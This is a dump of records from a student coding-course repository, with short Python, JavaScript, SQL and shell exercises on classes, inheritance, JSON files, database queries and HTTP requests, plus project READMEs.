"e26d7de3e31e7289d868bc7d5faec252f106fd02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 224, "license_type": "no_license", "max_line_length": 38, "num_lines": 17, "path": "/0x06-python-classes/5-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nSquare = __import__('5-square').Square\n\nmy_square = Square(3)\nmy_square.my_print()\n\nprint(\"--\")\n\nmy_square.size = 10\nmy_square.my_print()\n\nprint(\"--\")\n\nmy_square.size = 0\nmy_square.my_print()\n\nprint(\"--\")\n" }, { "alpha_fraction": 0.7749196290969849, "alphanum_fraction": 0.7797427773475647, "avg_line_length": 43.42856979370117, "blob_id": "0fbbe849ca9ac1077f283d0dd8e0b62c58f6d858", "content_id": "d64e9196bb354ac62202834c1a080e0bce3b26e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 622, "license_type": "no_license", "max_line_length": 100, "num_lines": 14, "path": "/0x09-python-everything_is_object/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x09. Python - Everything is object\n- What is an object\n- What is the difference between a class and an object or instance\n- What is the difference between immutable object and mutable object\n- What is a reference\n- What is an assignment\n- What is an alias\n- How to know if two variables are identical\n- How to know if two variables are linked to the same object\n- How to display the variable identifier (which is the memory address in the CPython implementation)\n- What is mutable and immutable\n- What are the built-in mutable types\n- What are the built-in immutable types\n- How does Python pass variables to functions\n" }, { "alpha_fraction": 0.6975717544555664, "alphanum_fraction": 0.7185430526733398, "avg_line_length": 74.5, "blob_id": "2bfb94b271253224b45a16d5c3dbce178d9caf5b", "content_id": "c8a4c89bed55f85455be6f59f3717850b54b6930", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 906, "license_type": "no_license", "max_line_length": 218, "num_lines": 12, "path": "/0x06-python-classes/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x06. Python - Classes and Objects\n## General\n- All your files will be interpreted/compiled on Ubuntu 14.04 LTS using python3 (version 3.4.3)\n- All your files should end with a new line\n- The first line of all your files should be exactly #!/usr/bin/python3\n- A README.md file, at the root of the folder of the project, is mandatory\n- Your code should use the PEP 8 style (version 1.7.*)\n- All your files must be executable\n- The length of your files will be tested using wc\n- All your modules should have a documentation (python3 -c 'print(__import__(\"my_module\").__doc__)')\n- All your classes should have a documentation (python3 -c 'print(__import__(\"my_module\").MyClass.__doc__)')\n- All your functions (inside and outside a class) should have a documentation (python3 -c 'print(__import__(\"my_module\").my_function.__doc__)' and python3 -c 'print(__import__(\"my_module\").MyClass.my_function.__doc__)'\n" }, { "alpha_fraction": 0.7283950448036194, "alphanum_fraction": 0.7283950448036194, "avg_line_length": 26, "blob_id": "8539b8f0d6ab04324ea5d26f1df99398d3656071", "content_id": "0cca6315a1f013600fe28a4e5d21f7355cbb774c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 81, "license_type": "no_license", "max_line_length": 63, "num_lines": 3, "path": "/0x12-javascript-warm_up/1-multi_languages.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconsole.log('C is fun\\nPython is cool\\nJavaScript is amazing');\n" }, { "alpha_fraction": 0.693379819393158, "alphanum_fraction": 0.700348436832428, "avg_line_length": 21.076923370361328, "blob_id": "f42e35d2100028fe234332dff240e6a83f2f6cb1", "content_id": "8978c4887c382891171bd0e70e92b6ff5279f071", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 574, "license_type": "no_license", "max_line_length": 48, "num_lines": 26, "path": "/0x08-python-more_classes/4-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nRectangle = __import__('4-rectangle').Rectangle\n\nmy_rectangle = Rectangle(2, 4)\nprint(str(my_rectangle))\nprint(\"--\")\nprint(my_rectangle)\nprint(\"--\")\nprint(repr(my_rectangle))\nprint(\"--\")\nprint(hex(id(my_rectangle)))\nprint(\"--\")\n\n# create new instance based on representation\nnew_rectangle = eval(repr(my_rectangle))\nprint(str(new_rectangle))\nprint(\"--\")\nprint(new_rectangle)\nprint(\"--\")\nprint(repr(new_rectangle))\nprint(\"--\")\nprint(hex(id(new_rectangle)))\nprint(\"--\")\n\nprint(new_rectangle is my_rectangle)\nprint(type(new_rectangle) is type(my_rectangle))\n" }, { "alpha_fraction": 0.6498801112174988, "alphanum_fraction": 0.6594724059104919, "avg_line_length": 25.0625, "blob_id": "d106a036697b6faa2ed8cff202ba39d2bbee9aca", "content_id": "ecf9fb88e1ad9289fc50bc2bc35872dc5eabcea1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 417, "license_type": "no_license", "max_line_length": 77, "num_lines": 16, "path": "/0x0B-python-input_output/7-add_item.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nadds all arguments to a Python list, and then save them to a file\n\"\"\"\nimport sys\n\n\nsave_to_json_file = __import__('5-save_to_json_file').save_to_json_file\nload_from_json_file = __import__('6-load_from_json_file').load_from_json_file\n\nopen(\"add_item.json\", \"a\")\ntry:\n l = load_from_json_file(\"add_item.json\")\nexcept ValueError:\n l = []\nsave_to_json_file(l + sys.argv[1:], \"add_item.json\")\n" }, { "alpha_fraction": 0.46086955070495605, "alphanum_fraction": 0.4739130437374115, "avg_line_length": 31.85714340209961, "blob_id": "a32f343dcdb7644601328d79330ec27eab8ec6bd", "content_id": "03fc535991ee96e7718b9f15c6fb46eca3605539", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 63, "num_lines": 7, "path": "/0x01-python-if_else_loops_functions/8-uppercase.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef uppercase(str):\n up = list(str)\n for x in range(len(up)):\n if (ord(up[x]) >= ord('a') and ord(up[x]) <= ord('z')):\n up[x] = chr(ord(up[x]) - 32)\n print(\"{}\".format((\"\").join(up)))\n" }, { "alpha_fraction": 0.4569138288497925, "alphanum_fraction": 0.46693387627601624, "avg_line_length": 20.69565200805664, "blob_id": "739ba3edf12050dd8514b3824c59d12b229fae64", "content_id": "73bbdc9c25b97417b8a599faf673ee088d412f23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 499, "license_type": "no_license", "max_line_length": 47, "num_lines": 23, "path": "/0x0A-python-inheritance/100-my_int.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n class MyInt that inherits from int\n\"\"\"\n\n\nclass MyInt(int):\n \"\"\"\n class MyInt that inherits from int\n \"\"\"\n def __eq__(self, value):\n \"\"\"\n Reverse the initial __eq__ function\n if 1 == 1 return False\n \"\"\"\n return super().__int__() != value\n\n def __ne__(self, value):\n \"\"\"\n Reverse the initial __eq__ function\n if 1 != 1 return True\n \"\"\"\n return super().__int__() == value\n" }, { "alpha_fraction": 0.5872170329093933, "alphanum_fraction": 0.5992010831832886, "avg_line_length": 25.821428298950195, "blob_id": "40d45357ceaf5126dd13c215cbc544e10171fc04", "content_id": "794277852d795d4d988eb09e01dffca64c1d14a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 751, "license_type": "no_license", "max_line_length": 79, "num_lines": 28, "path": "/0x10-python-network_0/6-peak.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"This is the peak module.\"\"\"\n\n\ndef find_peak(list_of_integers):\n \"\"\"Finds a peak in a list of unsorted integers.\n\n Args:\n list_of_integers (list): the list of integers to find the peak in.\n \"\"\"\n\n if list_of_integers == []:\n return None\n\n length = len(list_of_integers)\n if length == 1:\n return list_of_integers[0]\n if length == 2:\n return max(list_of_integers)\n\n half = int(length / 2)\n peak = list_of_integers[half]\n if peak > list_of_integers[half - 1] and peak > list_of_integers[half + 1]:\n return peak\n elif peak > list_of_integers[half + 1]:\n return find_peak(list_of_integers[:half])\n else:\n return find_peak(list_of_integers[half + 1:])\n" }, { "alpha_fraction": 0.7302631735801697, "alphanum_fraction": 0.7368420958518982, "avg_line_length": 75, "blob_id": "8238c6258240d907f6d69b04e4039608095aff81", "content_id": "9c85fab15618d632e02ae8a29524a7e9ad3387c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 152, "license_type": "no_license", "max_line_length": 108, "num_lines": 2, "path": "/0x0E-SQL_more_queries/8-cities_of_california_subquery.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- list all cities in database hbtn_0d_usa\nSELECT id, name FROM cities WHERE state_id = (SELECT id FROM states WHERE name = 'California') ORDER BY id;\n" }, { "alpha_fraction": 0.6483050584793091, "alphanum_fraction": 0.6652542352676392, "avg_line_length": 22.600000381469727, "blob_id": "d4389a77171a21a6ae9698b57d395f6ff19023bb", "content_id": "12c2433d2b7569f0cd228dd8dc855c33f1aa0ba0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 236, "license_type": "no_license", "max_line_length": 62, "num_lines": 10, "path": "/0x12-javascript-warm_up/11-second_biggest.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nif (process.argv.length > 3) {\n const array = process.argv.slice(2).map(Number);\n\n array.splice(array.indexOf(Math.max.apply(null, array)), 1);\n console.log(Math.max.apply(null, array));\n} else {\n console.log(0);\n}\n" }, { "alpha_fraction": 0.720095694065094, "alphanum_fraction": 0.7248803973197937, "avg_line_length": 19.899999618530273, "blob_id": "111ee6ff810b6f8a7a7d8f07bfea95cda8f99cf6", "content_id": "af667dfd31a6162931117b95a239948fda3f9d1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 418, "license_type": "no_license", "max_line_length": 45, "num_lines": 20, "path": "/0x0C-python-almost_a_circle/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x0C. Python - Almost a circle\n\n## In this project, we will review:\n- Import\n- Exceptions\n- Class\n- Private attribute\n- Getter/Setter\n- Class method\n- Static method\n- Inheritance\n- Unittest\n- Read/Write file\n\n## General\n- How to serialize and deserialize a Class\n- How to write and read a JSON file\n- What is *args and how to use it\n- What is **kwargs and how to use it\n- How to handle named arguments in a function\n" }, { "alpha_fraction": 0.431174099445343, "alphanum_fraction": 0.4757085144519806, "avg_line_length": 29.875, "blob_id": "991157242d0a88f115bc65c024d7a2cdda188aba", "content_id": "1518431472b102ab7b1fbae604509180a26b2fa0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 494, "license_type": "no_license", "max_line_length": 79, "num_lines": 16, "path": "/0x04-python-more_data_structures/12-roman_to_int.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef roman_to_int(roman_string):\n if(type(roman_string) != str or roman_string is None):\n return (0)\n my_dict = {\"I\": 1, \"V\": 5, \"X\": 10, \"L\": 50, \"C\": 100, \"D\": 500, \"M\": 1000}\n v = \"\"\n u = 0\n res = 0\n for i in range(len(roman_string)):\n v = roman_string[i]\n if (len(roman_string) != i + 1 and my_dict[roman_string[i + 1]] >\n my_dict[v]):\n u = my_dict[v]\n res += my_dict[v]\n res -= u\n return (res)\n" }, { "alpha_fraction": 0.6228070259094238, "alphanum_fraction": 0.6578947305679321, "avg_line_length": 15.285714149475098, "blob_id": "4883d4275dd8272cbae5ccbe40f68d2429709fc1", "content_id": "4ef112a339e15976376ddc8dde9c21adf053eec8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 114, "license_type": "no_license", "max_line_length": 47, "num_lines": 7, "path": "/0x0A-python-inheritance/9-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nRectangle = __import__('9-rectangle').Rectangle\n\nr = Rectangle(3, 5)\n\nprint(r)\nprint(r.area())\n" }, { "alpha_fraction": 0.549763023853302, "alphanum_fraction": 0.5616113543510437, "avg_line_length": 22.44444465637207, "blob_id": "f8d4625ce1fb588ab4c28d7f27d713ecc7c4b966", "content_id": "4a96e9b20603fe7880330341363029511b591ba7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 422, "license_type": "no_license", "max_line_length": 72, "num_lines": 18, "path": "/0x07-python-test_driven_development/6-max_integer.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"Module to find the max integer in a list\n\"\"\"\n\n\ndef max_integer(list=[]):\n \"\"\"Function to find and return the max integer in a list of integers\n If the list is empty, the function returns None\n \"\"\"\n if len(list) == 0:\n return None\n result = list[0]\n i = 1\n while i < len(list):\n if list[i] > result:\n result = list[i]\n i += 1\n return result\n" }, { "alpha_fraction": 0.6515151262283325, "alphanum_fraction": 0.6628788113594055, "avg_line_length": 16.600000381469727, "blob_id": "16ef4203426123a81b522514678f1eeea3aaeeb6", "content_id": "f5fb74894e09d2cdbef0f3e7447760cfd7bf684e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 264, "license_type": "no_license", "max_line_length": 38, "num_lines": 15, "path": "/0x06-python-classes/1-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nSquare = __import__('1-square').Square\n\nmy_square = Square(3)\nprint(type(my_square))\nprint(my_square.__dict__)\n\ntry:\n print(my_square.size)\nexcept Exception as e:\n print(e)\ntry:\n print(my_square.__size)\nexcept Exception as e:\n\tprint(e)\n" }, { "alpha_fraction": 0.5548902153968811, "alphanum_fraction": 0.5568862557411194, "avg_line_length": 25.36842155456543, "blob_id": "b2aafad77bccdf3759787064a76948f3567f5e6e", "content_id": "84800e584ae8655758f61a070527fa40eb723b91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 501, "license_type": "no_license", "max_line_length": 69, "num_lines": 19, "path": "/0x14-javascript-web_scraping/101-starwars_characters.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconst r = require('request');\nconst url = 'https://swapi-api.hbtn.io/api/films/' + process.argv[2];\n\nr.get(url, async (err, res, body) => {\n if (err) console.log(err);\n else {\n for (const character of JSON.parse(body).characters) {\n const name = await new Promise((resolve, reject) => {\n r.get(character, (err, res, body) => {\n if (err) reject(err);\n else resolve(JSON.parse(body).name);\n });\n });\n console.log(name);\n }\n }\n});\n" }, { "alpha_fraction": 0.6771653294563293, "alphanum_fraction": 0.6850393414497375, "avg_line_length": 41.33333206176758, "blob_id": "8245f7485cc9853d5eb197bd7e05e32a5dd6f0ab", "content_id": "ce0031192d6368f1e7c0076ed07223bf9c56c31f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 127, "license_type": "no_license", "max_line_length": 72, "num_lines": 3, "path": "/0x10-python-network_0/100-status_code.sh", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Displays the size of the status code of the response of a curl request\ncurl -so /dev/null -w '%{http_code}' \"$1\"\n" }, { "alpha_fraction": 0.6344085931777954, "alphanum_fraction": 0.6451612710952759, "avg_line_length": 22.25, "blob_id": "08cec51f9c26a44c1b8fe4d18863fab5698b2e6e", "content_id": "306937b1a35ac36396d1fa8e3f85a4effe0d3223", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 93, "license_type": "no_license", "max_line_length": 31, "num_lines": 4, "path": "/0x00-python-hello_world/101-compile", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\npython3 -m py_compile $PYFILE\nmv __pycache__/*.pyc $PYFILE'c'\nrm -Rf __pycache__\n" }, { "alpha_fraction": 0.5917808413505554, "alphanum_fraction": 0.5972602963447571, "avg_line_length": 20.47058868408203, "blob_id": "374a12ca7650ef727b0a13c4ebf07b8db3b4e3e7", "content_id": "b4f0882b691c7e473960091392d8e882d41d8c08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 365, "license_type": "no_license", "max_line_length": 58, "num_lines": 17, "path": "/0x0A-python-inheritance/1-my_list.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n class MyList that inherits from list\n\"\"\"\n\n\nclass MyList(list):\n \"\"\"\n prints the list, but sorted (ascending sort)\n all the elements of the list will be of type <int>\n \"\"\"\n def print_sorted(self):\n print(sorted(self))\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/1-my_list.txt\")\n" }, { "alpha_fraction": 0.5784313678741455, "alphanum_fraction": 0.6274510025978088, "avg_line_length": 13.428571701049805, "blob_id": "86437a46d07b91ba4d52031e9f9e181411aa4d79", "content_id": "c32436739b83dc81bcf89cc798b22b4ae1692736", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 102, "license_type": "no_license", "max_line_length": 39, "num_lines": 7, "path": "/0x0A-python-inheritance/10-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nSquare = __import__('10-square').Square\n\ns = Square(13)\n\nprint(s)\nprint(s.area())\n\n" }, { "alpha_fraction": 0.5004163384437561, "alphanum_fraction": 0.5470441579818726, "avg_line_length": 28.268293380737305, "blob_id": "f4a40d5ae38c605d8e9ff87e02d2577b6c58324d", "content_id": "4339d54a82bc6aad6133bff465d3f7443a41530b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1201, "license_type": "no_license", "max_line_length": 65, "num_lines": 41, "path": "/0x0C-python-almost_a_circle/tests/test_models/test_base.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\" Test case for the module base \"\"\"\n\n\"\"\" Importing class from Base Module \"\"\"\nimport unittest\nfrom models.base import Base\n\nclass TestMainOutput(unittest.TestCase):\n def test_main(self):\n \"\"\" Test if the result is as excepted in the example \"\"\"\n b1 = Base()\n self.assertEqual(b1.id, 1)\n b2 = Base()\n self.assertEqual(b2.id, 2)\n b3 = Base()\n self.assertEqual(b3.id, 3)\n b4 = Base(12)\n self.assertEqual(b4.id, 12)\n b5 = Base()\n self.assertEqual(b5.id, 4)\n def test_none(self):\n \"\"\" Test if id is incrementing when the value is none \"\"\"\n b1 = Base()\n self.assertEqual(b1.id, 5)\n b2 = Base()\n self.assertEqual(b2.id, 6)\n b3 = Base()\n self.assertEqual(b3.id, 7)\n b4 = Base()\n self.assertEqual(b4.id, 8)\n b5 = Base()\n self.assertEqual(b5.id, 9)\n def test_case1(self):\n \"\"\" Testing differents values \"\"\"\n b1 = Base(10)\n self.assertEqual(b1.id, 10)\n b2 = Base(20)\n self.assertEqual(b2.id, 20)\n b3 = Base(-25)\n self.assertEqual(b3.id, -25)\n self.assertEqual(b2.id, 20)\n\n" }, { "alpha_fraction": 0.3888888955116272, "alphanum_fraction": 0.4266666769981384, "avg_line_length": 24, "blob_id": "42c6dee69da04822cd227ecfd9fc1aa75c738aaa", "content_id": "7b8cf27e4ea06673941ef7eaf3632e0fcd8db67b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 450, "license_type": "no_license", "max_line_length": 38, "num_lines": 18, "path": "/0x03-python-data_structures/7-add_tuple.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef add_tuple(tuple_a=(), tuple_b=()):\n lena = len(tuple_a)\n lenb = len(tuple_b)\n if lena < 2:\n if lena == 0:\n tuple_a = (0, 0)\n else:\n tuple_a = (tuple_a[0], 0)\n if lenb < 2:\n if lenb == 0:\n tuple_b = (0, 0)\n else:\n tuple_b = (tuple_b[0], 0)\n a = tuple_a[0] + tuple_b[0]\n b = tuple_a[1] + tuple_b[1]\n tuple_c = (a, b)\n return tuple_c\n" }, { "alpha_fraction": 0.748826265335083, "alphanum_fraction": 0.7535211443901062, "avg_line_length": 46.33333206176758, "blob_id": "7a78f288143cc246abe8a41763b094e29868af06", "content_id": "19d144ac2901f574316d9b224c5f053c455aa6a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 426, "license_type": "no_license", "max_line_length": 102, "num_lines": 9, "path": "/0x0F-python-object_relational_mapping/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x0F - Python - Object-relational mapping\n\nAt the end of this project, I am expected to be able to explain to anyone, without the help of Google:\n* Why Python programming is awesome\n* How to connect to a MySQL database from a Python script\n* How to `SELECT` rows in a MySQL table from a Python script\n* How to `INSERT` rows in a MySQL table from a Python script\n* What ORM means\n* How to map a Python Class to a MySQL table\n" }, { "alpha_fraction": 0.598802387714386, "alphanum_fraction": 0.6047903895378113, "avg_line_length": 19.875, "blob_id": "6d0aa97da33cc6f9501eb6dc460c09dc81829c16", "content_id": "05cd53e34087f850213589ab14b96f1a4af43b3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 167, "license_type": "no_license", "max_line_length": 46, "num_lines": 8, "path": "/0x14-javascript-web_scraping/2-statuscode.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconst r = require('request');\n\nr.get(process.argv[2], (err, res) => {\n if (err) console.log(err);\n else console.log('code: ' + res.statusCode);\n});\n" }, { "alpha_fraction": 0.5664160251617432, "alphanum_fraction": 0.5689222812652588, "avg_line_length": 23.9375, "blob_id": "714a8eeb43fc218b1c8b73339a2a1f95c69d6c2b", "content_id": "537dc54a2acb28ecd5e1e924d67353e93ff94e76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 399, "license_type": "no_license", "max_line_length": 69, "num_lines": 16, "path": "/0x14-javascript-web_scraping/100-starwars_characters.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconst r = require('request');\nconst url = 'https://swapi-api.hbtn.io/api/films/' + process.argv[2];\n\nr.get(url, (err, res, body) => {\n if (err) console.log(err);\n else {\n JSON.parse(body).characters.forEach(character => {\n r.get(character, (err, res, body) => {\n if (err) console.log(err);\n else console.log(JSON.parse(body).name);\n });\n });\n }\n});\n" }, { "alpha_fraction": 0.5611510872840881, "alphanum_fraction": 0.5755395889282227, "avg_line_length": 22.16666603088379, "blob_id": "f9579fe9fe3cc557f774a9feb0aab1a0f391c908", "content_id": "8f9de534986c98293f6560e6cf0657953de8a46a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 695, "license_type": "no_license", "max_line_length": 66, "num_lines": 30, "path": "/0x0F-python-object_relational_mapping/4-cities_by_state.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nScript that lists all `cities` from the database `hbtn_0e_4_usa`.\n\nArguments:\n mysql username (str)\n mysql password (str)\n database name (str)\n\"\"\"\n\nimport sys\nimport MySQLdb\n\nif __name__ == \"__main__\":\n mySQL_u = sys.argv[1]\n mySQL_p = sys.argv[2]\n db_name = sys.argv[3]\n\n # By default, it will connect to localhost:3306\n db = MySQLdb.connect(user=mySQL_u, passwd=mySQL_p, db=db_name)\n cur = db.cursor()\n\n cur.execute(\"SELECT c.id, c.name, s.name \\\n FROM cities c INNER JOIN states s \\\n ON c.state_id = s.id \\\n ORDER BY c.id\")\n rows = cur.fetchall()\n\n for row in rows:\n print(row)\n" }, { "alpha_fraction": 0.5654101967811584, "alphanum_fraction": 0.5798225998878479, "avg_line_length": 24.77142906188965, "blob_id": "d6898c1fc43eaab167db55524b71f83706d2365d", "content_id": "d5b7b613b19ffe6883a0a0b6d8b5fe7b4c041f86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 902, "license_type": "no_license", "max_line_length": 71, "num_lines": 35, "path": "/0x0F-python-object_relational_mapping/5-filter_cities.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nScript that lists all `cities` in the `cities` table of `hbtn_0e_4_usa`\nwhere the city's state matches the argument `state name`.\n\nArguments:\n mysql username (str)\n mysql password (str)\n database name (str)\n state name (str)\n\"\"\"\n\nimport sys\nimport MySQLdb\n\nif __name__ == \"__main__\":\n mySQL_u = sys.argv[1]\n mySQL_p = sys.argv[2]\n db_name = sys.argv[3]\n\n state_name = sys.argv[4]\n\n # By default, it will connect to localhost:3306\n db = MySQLdb.connect(user=mySQL_u, passwd=mySQL_p, db=db_name)\n cur = db.cursor()\n\n cur.execute(\"SELECT c.name \\\n FROM cities c INNER JOIN states s \\\n ON c.state_id = s.id WHERE s.name = %s\\\n ORDER BY c.id\", (state_name, ))\n rows = cur.fetchall()\n\n for i in range(len(rows)):\n print(rows[i][0], end=\", \" if i + 1 < len(rows) else \"\")\n print(\"\")\n" }, { "alpha_fraction": 0.5778611898422241, "alphanum_fraction": 0.5909943580627441, "avg_line_length": 32.3125, "blob_id": "0c92c7a61475d101dc9b22174bdb86ec75a66094", "content_id": "b855d17887505de3d75a2fc75c3fea1f4f5dcf12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "no_license", "max_line_length": 78, "num_lines": 16, "path": "/0x11-python-network_1/100-github_commits.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"Python script that lists list 10 commits (from the most recent\nto oldest) of the repository “rails” by the user “rails”.\"\"\"\n\nimport requests\nfrom sys import argv\n\nif __name__ == \"__main__\":\n url = \"https://api.github.com/repos/{}/{}/commits?per_page=10\"\\\n .format(argv[2], argv[1])\n\n request = requests.get(url)\n commits = request.json()\n for commit in commits:\n print(\"{}: {}\".format(commit.get(\"sha\"),\n commit.get(\"commit\").get(\"author\").get(\"name\")))\n" }, { "alpha_fraction": 0.7586206793785095, "alphanum_fraction": 0.7586206793785095, "avg_line_length": 37.66666793823242, "blob_id": "4fd0c51d1db399351a6b7cdd33eea639a342b6db", "content_id": "34ab0bf4f49b67ff16b987c8c78a508dd130f971", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 232, "license_type": "no_license", "max_line_length": 53, "num_lines": 6, "path": "/0x0E-SQL_more_queries/10-genre_id_by_show.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- list all shows that have at least one genre liked \nSELECT tv_shows.title, tv_show_genres.genre_id\nFROM tv_shows\nINNER JOIN tv_show_genres\nON tv_shows.id = tv_show_genres.show_id\nORDER BY tv_shows.title , tv_show_genres.genre_id;\n" }, { "alpha_fraction": 0.6875, "alphanum_fraction": 0.699999988079071, "avg_line_length": 25.66666603088379, "blob_id": "45100afb5cc193b4dd3dcfed1327620d88316734", "content_id": "1a542a12cb81af32c44e7b1cd1987d82b00948b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 80, "license_type": "no_license", "max_line_length": 53, "num_lines": 3, "path": "/0x10-python-network_0/1-body.sh", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Displays the body of the response of a curl request\ncurl -sL \"$1\"\n" }, { "alpha_fraction": 0.6427795886993408, "alphanum_fraction": 0.65038001537323, "avg_line_length": 25.314285278320312, "blob_id": "68e3915506d384bfa73d92219d2c85330e7442b8", "content_id": "cf52a337c606b95f6a9db9388b27c968a3528bc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 921, "license_type": "no_license", "max_line_length": 76, "num_lines": 35, "path": "/0x0F-python-object_relational_mapping/14-model_city_fetch_by_state.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nScript that prints all `City` objects from the database `hbtn_0e_14_usa`.\n\nArguments:\n mysql username (str)\n mysql password (str)\n database name (str)\n\"\"\"\n\nimport sys\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.engine.url import URL\nfrom model_state import Base, State\nfrom model_city import City\n\n\nif __name__ == \"__main__\":\n mySQL_u = sys.argv[1]\n mySQL_p = sys.argv[2]\n db_name = sys.argv[3]\n\n url = {'drivername': 'mysql+mysqldb', 'host': 'localhost',\n 'username': mySQL_u, 'password': mySQL_p, 'database': db_name}\n\n engine = create_engine(URL(**url), pool_pre_ping=True)\n Base.metadata.create_all(engine)\n\n session = Session(bind=engine)\n\n q = session.query(City, State).filter(City.state_id == State.id)\n\n for city, state in q:\n print(\"{}: 